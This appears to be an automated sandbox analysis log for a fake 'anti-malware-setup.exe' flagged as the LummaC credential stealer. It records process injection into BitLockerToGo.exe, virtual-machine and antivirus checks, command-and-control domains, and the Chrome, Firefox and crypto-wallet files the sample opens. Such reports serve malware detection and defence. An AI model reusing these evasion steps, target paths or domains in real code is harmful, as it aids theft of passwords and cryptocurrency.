Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: anti-malware-setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: anti-malware-setup.exe

Static file information: File size 4063744 > 1048576

Source: anti-malware-setup.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1cca00
Source: anti-malware-setup.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x1de800

Source: anti-malware-setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: anti-malware-setup.exe, 00000000.00000002.2322019566.0000000002100000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: anti-malware-setup.exe, 00000000.00000002.2322019566.0000000002100000.00000004.00001000.00020000.00000000.sdmp

Source: anti-malware-setup.exe

Static PE information: real checksum: 0x3e1529 should be: 0x3e6e0a

Source: anti-malware-setup.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043CDB0 push eax; mov dword ptr [esp], 01410170h		3_2_0043CDB4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004457E7 push esp; iretd		3_2_004457E8

Source: C:\Users\user\Desktop\anti-malware-setup.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7120	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 892	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: BitLockerToGo.exe, 00000003.00000002.2455088061.000000000344D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454185919.000000000344D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: BitLockerToGo.exe, 00000003.00000003.2345945791.000000000349C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2443343531.0000000003497000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455263174.000000000349B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.000000000349C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: anti-malware-setup.exe, 00000000.00000002.2320548291.000000000164C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: BitLockerToGo.exe, 00000003.00000003.2345945791.000000000349C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2443343531.0000000003497000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455263174.000000000349B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.000000000349C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: BitLockerToGo.exe, 00000003.00000003.2371265179.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0043B8A0 LdrInitializeThunk,

3_2_0043B8A0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\anti-malware-setup.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\anti-malware-setup.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: anti-malware-setup.exe, 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: enterwahsh.biz

Writes to foreign memory regions

Source: C:\Users\user\Desktop\anti-malware-setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 302D008	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 450000	Jump to behavior

Source: C:\Users\user\Desktop\anti-malware-setup.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\anti-malware-setup.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2443343531.0000000003497000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000003.00000003.2432562158.00000000034EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Electrum-LTC
Source: BitLockerToGo.exe, 00000003.00000003.2443567206.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000003.00000003.2443567206.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000003.00000002.2455088061.000000000344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wal
Source: BitLockerToGo.exe, 00000003.00000003.2411487733.00000000034E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000003.00000003.2411282821.00000000034FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000003.00000003.2443567206.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000003.00000003.2411487733.00000000034E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000003.00000002.2455088061.000000000344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z"

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
